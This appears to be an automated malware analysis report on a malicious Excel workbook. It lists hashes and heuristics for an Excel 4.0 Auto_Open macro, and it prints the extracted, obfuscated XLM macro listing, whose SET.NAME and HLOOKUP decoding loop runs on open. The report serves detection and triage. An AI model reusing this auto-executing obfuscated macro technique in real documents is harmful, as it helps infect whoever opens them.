Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06580db4e715b236…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:59 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: ef235162610bdb787897dc729ffea6f8 SHA-1: 5d564c30794196946be81637edcea791b040c146 SHA-256: 06580db4e715b2363dca83953b6189c619f541ddb5654e65752ba59909ef6ab3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6743 bytes
SHA-256: 5dd648ad19ec65b72edff17d2b2d0627874c5e8de805ecfa12d5c483d5515e5f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VoLNKo
' 0018     22 LABEL : Cell Value, String Constant - aJiXLij len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A181 
' 0018     26 LABEL : Cell Value, String Constant - cEthIzqrwNl len=0 
' 0018     24 LABEL : Cell Value, String Constant - cfJNlEPTH len=0 
' 0018     21 LABEL : Cell Value, String Constant - EMBkcw len=0 
' 0018     24 LABEL : Cell Value, String Constant - Fdctmzibz len=0 
' 0018     24 LABEL : Cell Value, String Constant - gwVRESfkS len=0 
' 0018     24 LABEL : Cell Value, String Constant - hjHhTuLfT len=0 
' 0018     27 LABEL : Cell Value, String Constant - HwMBMhEzzAgX len=0 
' 0018     24 LABEL : Cell Value, String Constant - hWQVqBLYZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - IzHCcjpzBvJD len=0 
' 0018     22 LABEL : Cell Value, String Constant - jbJaCfu len=0 
' 0018     23 LABEL : Cell Value, String Constant - jmPtcDac len=0 
' 0018     21 LABEL : Cell Value, String Constant - oYdBRA len=0 
' 0018     21 LABEL : Cell Value, String Constant - rnCmTX len=0 
' 0018     24 LABEL : Cell Value, String Constant - skaknRhGI len=0 
' 0018     26 LABEL : Cell Value, String Constant - VuiDRcLTbBZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WhBpvXG len=0 
' 0018     25 LABEL : Cell Value, String Constant - xJCDvzNkHP len=0 
' 0018     25 LABEL : Cell Value, String Constant - xJVfugfrAP len=0 
' 0018     22 LABEL : Cell Value, String Constant - zyxaBLS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VoLNKo,Q77,"",830.00000000000000000000
'  VoLNKo,Q78,"",-231.00000000000000000000
'  VoLNKo,Q79,"",87.00000000000000000000
'  VoLNKo,Q80,"",-276.00000000000000000000
'  VoLNKo,Q81,"",4.00000000000000000000
'  VoLNKo,Q82,"",470.00000000000000000000
'  VoLNKo,A90,"SET.NAME("HwMBMhEzzAgX",0+VALUE("0"))",""
'  VoLNKo,A93,"SET.NAME("hjHhTuLfT",HwMBMhEzzAgX)",""
'  VoLNKo,A96,"SET.NAME("cEthIzqrwNl",HwMBMhEzzAgX)",""
'  VoLNKo,A98,"SET.NAME("hWQVqBLYZ",COUNTA(oYdBRA))",""
'  VoLNKo,A100,"SET.NAME("zyxaBLS",COUNTA(aJiXLij))",""
'  VoLNKo,A104,[],""
'  VoLNKo,A107,"SET.NAME("rnCmTX","")",""
'  VoLNKo,A109,"hjHhTuLfT",""
'  VoLNKo,A114,"SET.NAME("jmPtcDac",HLOOKUP("*",oYdBRA,hjHhTuLfT,FALSE))",""
'  VoLNKo,A117,"cfJNlEPTH",""
'  VoLNKo,A121,"SET.NAME("VuiDRcLTbBZ",HwMBMhEzzAgX)",""
'  VoLNKo,A125,[],""
'  VoLNKo,A128,"VuiDRcLTbBZ",""
'  VoLNKo,A133,"IzHCcjpzBvJD",""
'  VoLNKo,A136,"xJCDvzNkHP",""
'  VoLNKo,A140,"Fdctmzibz",""
'  VoLNKo,A142,"SET.NAME("xJVfugfrAP",VALUE(HLOOKUP("*",aJiXLij,Fdctmzibz,FALSE)))",""
'  VoLNKo,A145,"WhBpvXG",""
'  VoLNKo,A150,"rnCmTX",""
'  VoLNKo,A153,"cEthIzqrwNl",""
'  VoLNKo,A158,NEXT(),""
'  VoLNKo,A162,"EMBkcw",""
'  VoLNKo,A167,[],""
'  VoLNKo,A172,"jbJaCfu",""
'  VoLNKo,A175,NEXT(),""
'  VoLNKo,A178,RETURN(),""
'  VoLNKo,A203,"SET.NAME("gwVRESfkS",A90)",""
'  VoLNKo,A207,"oYdBRA",""
'  VoLNKo,A211,"SET.NAME("aJiXLij",R74C11)",""
'  VoLNKo,A214,"SET.NAME("jbJaCfu",223)",""
'  VoLNKo,A218,"SET.NAME("skaknRhGI",1)",""
'  VoLNKo,A222,gwVRESfkS(),""
'  VoLNKo,A223,HALT(),""

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